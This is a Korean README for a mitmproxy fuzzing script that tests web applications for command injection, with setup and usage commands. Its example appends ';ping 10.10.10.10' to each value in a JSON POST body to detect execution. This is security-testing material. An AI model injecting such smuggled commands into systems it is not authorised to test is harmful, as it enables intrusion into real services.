
mitmproxy용 명령 삽입 웹 퍼저 스크립트
설명:
이 스크립트는 원격 명령 실행으로 이어지는 명령 주입(Command Injection) 취약점을 퍼징합니다. 유사한 OWASP 취약점은 여기에서 설명합니다 --> https://www.owasp.org/index.php/Command_Injection 이 스크립트는 POST/PUT 본문의 모든 값에 주입하여 OS 명령을 실행하려고 시도합니다. 실행 감지는 웹/ICMP 트래픽을 수신하거나 대상 OS의 디렉토리를 모니터링하는 등의 다른 도구가 필요합니다.
예를 들어, 스크립트가 사용자가 본문이 {"webfunction": "settime", "hour": "10", "minute": "00"}인 단일 POST를 수행한 것을 감지하면 스크립트는 5개의 POST를 생성합니다. 1)원본 POST (그대로) {"webfunction": "settime", "hour": "10", "minute": "00"} 2)첫 번째 값에 CI 주입 {"webfunction": "settime;ping 10.10.10.10", "hour": "10", "minute": "00"} 3)두 번째 값에 CI 주입 {"webfunction": "settime", "hour": "10;ping 10.10.10.10", "minute": "00"} 4)세 번째 값에 CI 주입 {"webfunction": "settime", "hour": "10", "minute": "00;ping 10.10.10.10"} 5)변수를 원래 값으로 되돌리기 위한 정리 POST {"webfunction": "settime", "hour": "10", "minute": "00"}
페이로드가 실행되면 공격자는 ICMP 핑 패킷을 수신하게 됩니다. 이 예시에서 웹 애플리케이션은 시스템 시간 설정을 통해 명령 주입/실행에 취약합니다.
사전 요구사항:
-mitmproxy 3.0.0+
#"Virtualenv" 방법으로 mitmproxy 3.0.0+ 실행 (예: 배포판에서 3.0.0+ 바이너리를 지원하지 않는 경우)
git clone https://github.com/mitmproxy/mitmproxy.git
#"Development setup"은 여기 참조 -> https://github.com/mitmproxy/mitmproxy (아래와 유사)
apt-get install python3-venv
cd mitmproxy
./dev.sh #오류: python.h 헤더 누락 시 apt-get install python3-dev 시도
#mitmproxy 버전 3.0.0+ 확인
. venv/bin/activate
(venv) root@kali:/usr/local/src/source-install/mitmproxy3# mitmproxy --version
Mitmproxy version: 3.0.0 (2.0.0dev0920-0x3c934b1a)
Python version: 3.5.4
설치:
#ci_fuzz.py 다운로드
git clone https://github.com/mvdevnull/ci_fuzz.git
사용 예:
*ci_fuzz.py의 구성 섹션에서 변수 설정
1)*ci_fuzz.py 스크립트를 사용하여 로컬호스트 포트 7777에서 수신 대기하는 mitmweb 실행
mitmweb --listen-port 7777 --ssl-insecure -s ./ci_fuzz/ci_fuzz.py
2)*위와 동일하게 ci_fuzz.py 스크립트를 사용하여 mitmweb 실행하고, 업스트림 포워딩을 로컬호스트의 Burp과 같은 GUI 프록시로 설정
mitmweb --listen-port 7777 --ssl-insecure --mode upstream:https://127.0.0.1:8080 -s ./ci_fuzz/ci_fuzz.py